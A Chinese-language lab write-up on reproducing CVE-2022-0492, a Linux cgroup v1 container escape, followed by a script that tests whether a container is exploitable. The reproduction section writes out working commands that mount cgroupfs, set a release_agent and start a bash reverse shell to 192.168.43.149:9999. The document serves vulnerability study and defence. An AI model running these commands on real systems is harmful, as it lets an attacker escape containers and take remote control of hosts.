Linux 内核 cgroup v1 逻辑错误导致容器逃逸 CVE-2022-0492

漏洞描述

该漏洞是由于 control groups(cgroups)中的一个逻辑错误所致。Control Groups(cgroups)是一个 Linux 特性,允许管理员限制、记录和隔离一组进程所使用的资源。Linux 支持两种 cgroup 架构,分别名为 cgroup v1 和 cgroup v2,该漏洞只影响 cgroup v1 架构。

如果容器运行了以下操作,则可逃逸:

或满足下列条件,则可逃逸:

参考链接:

环境搭建

基础环境准备(Docker + Minikube + Kubernetes),可参考 Kubernetes + Ubuntu 18.04 漏洞环境搭建 完成。

本例中各组件版本如下:

Docker version: 19.03.6

Linux 内核版本 5.4.0-84-generic

uname -a
Linux ubuntu 5.4.0-84-generic #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

漏洞复现

创建禁用了 AppArmor 和 Seccomp 的容器:

docker run -it --name cve-2022-0492 --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:latest /bin/bash

AppArmor 和 SELinux 都会阻止挂载,这意味着使用其中任何一种方式运行的容器都受到保护 。如果两者皆禁用,容器可以通过滥用用户命名空间来挂载 cgroupfs。

挂载 cgroupfs 需要在托管当前 cgroup 命名空间的用户命名空间中拥有 CAP_SYS_ADMIN 权限。默认情况下,容器运行时没有 CAP_SYS_ADMIM 权限 ,因此无法在初始用户命名空间中挂载 cgroupfs。但是,通过 unshare() 系统调用,容器可以创建新的用户和 cgroup 命名空间,并在这些命名空间中拥有 CAP_SYS_ADMIN 权限并可以挂载 cgroupfs:

root@0c782b51c5ac:/# unshare -UrmC bash

并非所有容器都能创建新的用户命名空间—— 宿主机必须启用非特权用户命名空间 。在最近的 Ubuntu 版本中,这是默认设置。由于 Seccomp 会阻止 unshare() 系统调用, 因此只有在未启用 Seccomp 的情况下运行的容器才能创建新的用户命名空间 。

root@0c782b51c5ac:/# mount -it cgroup -o rdma cgroup /mnt
root@0c782b51c5ac:/# d=`dirname $(ls -x /mnt/r* |head -n1)`
root@0c782b51c5ac:/# mkdir -p $d/w;echo 1 >$d/w/notify_on_release
root@0c782b51c5ac:/# t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@0c782b51c5ac:/# printf '#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.43.149/9999 0>&1' > /exp.sh; chmod 777 /exp.sh
root@0c782b51c5ac:/# echo "$t/exp.sh" > $d/release_agent

root@0c782b51c5ac:/# sh -c "echo 0 >$d/w/cgroup.procs"

监听 9999 端口,获取反弹 shell:

也可以通过 CDK 复现。下载 CDK ,并将其传入容器 /tmp 目录下,执行命令:

./cdk run mount-cgroup "whoami" rdma

注意,cdk 默认为 memory cgroup,权限不足,需要指定为 rdma。

漏洞 POC

can-ctr-escape-cve-2022-0492.sh

#!/bin/bash
echo "[*] Testing whether CVE-2022-0492 can be exploited for container escape" 

# Setup test dir
test_dir=/tmp/.cve-2022-0492-test
if ! mkdir -p $test_dir ; then
    echo "ERROR: failed to create test directory at $test_dir" 
    exit 1
fi

# Test whether escape via CAP_SYS_ADMIN is possible
if mount -t cgroup -o memory cgroup $test_dir >/dev/null 2>&1 ; then
    if test -w $test_dir/release_agent ; then
        echo "[!] Exploitable: the container can escape as it possesses CAP_SYS_ADMIN and runs without AppArmor or SELinux. Note that it likely doesn't need CVE-2022-0492 to escape."
        umount $test_dir && rm -rf $test_dir
        exit 0
    fi
    umount $test_dir
fi

# Test whether escape via user namespaces is possible
while read -r subsys
do
    if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $test_dir 2>&1 >/dev/null && test -w $test_dir/release_agent" >/dev/null 2>&1 ; then
        echo "[!] Exploitable: the container can abuse user namespaces to escape"
        rm -rf $test_dir
        exit 0
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

# Cannot escape via either method
rm -rf $test_dir
echo "[+] Contained: cannot escape via CVE-2022-0492"

漏洞修复